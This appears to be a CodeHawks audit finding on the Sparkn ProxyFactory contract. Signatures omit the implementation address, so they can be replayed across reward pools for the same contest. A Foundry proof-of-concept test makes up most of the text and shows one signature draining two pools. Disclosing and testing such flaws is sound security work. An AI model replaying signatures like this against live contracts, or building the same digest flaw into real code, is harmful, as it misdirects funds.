Signatures can be replayed against different implementations for same organizer/contest as the signature digest is missing the implementation parameter.
Sparkn allows the same organizer to create 2 or more contests where the only difference is the implementation address; this could represent 2 separate reward pools for the same real-world contest. Sparkn's CodeHawks audit competition can be represented this way with one pool for H/M rewards and another pool for Low rewards.
PoC follows which models CodeHawks Sparkn audit contest using Sparkn itself! Put this in ProxyFactoryTest.t.sol:
function createSignature(uint256 privateK, bytes32 contestId)
public view returns (bytes32, bytes memory, bytes memory) {
bytes32 domainSeparatorV4 = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ProxyFactory")),
keccak256(bytes("1")),
block.chainid,
address(proxyFactory)
)
);
bytes memory sendingData = createData();
bytes32 data = keccak256(abi.encode(contestId, sendingData));
bytes32 digest = ECDSA.toTypedDataHash(domainSeparatorV4, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateK, digest);
bytes memory signature = abi.encodePacked(r, s, v);
return (digest, sendingData, signature);
}
function testSignatureReplayDifferentImplementation() public {
vm.startPrank(factoryAdmin);
bytes32 contestId = keccak256(abi.encode("SPARKN-CodeHawks-Contest"));
proxyFactory.setContest(TEST_SIGNER, contestId, block.timestamp + 8 days, address(distributor));
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress);
proxyFactory.setContest(TEST_SIGNER, contestId, block.timestamp + 8 days, address(distributor2));
vm.stopPrank();
bytes32 firstSalt = keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor)));
address firstProxyAddress = proxyFactory.getProxyAddress(firstSalt, address(distributor));
bytes32 secondSalt = keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor2)));
address secondProxyAddress = proxyFactory.getProxyAddress(secondSalt, address(distributor2));
assert(firstSalt != secondSalt);
assert(firstProxyAddress != secondProxyAddress);
uint H_M_REWARDS = 14_000 ether;
uint LOW_REWARDS = 1_000 ether;
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(firstProxyAddress, H_M_REWARDS);
MockERC20(jpycv2Address).transfer(secondProxyAddress, LOW_REWARDS);
vm.stopPrank();
assertEq(MockERC20(jpycv2Address).balanceOf(firstProxyAddress), H_M_REWARDS);
assertEq(MockERC20(jpycv2Address).balanceOf(secondProxyAddress), LOW_REWARDS);
vm.warp(9 days);
(bytes32 digest, bytes memory sendingData, bytes memory signature)
= createSignature(TEST_SIGNER_KEY, contestId);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, contestId, address(distributor), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(firstProxyAddress), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(secondProxyAddress), LOW_REWARDS);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, contestId, address(distributor2), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(secondProxyAddress), 0 ether);
}
Signature replay can be used by anyone to prematurely release rewards from other reward pools tied to the same organizer/contest resulting in rewards being released to the wrong addresses. In the provided PoC example as soon as the contest organizer released the H/M pool rewards, an attacker could replay that signature to release the Low pool rewards which would get paid to the wrong people.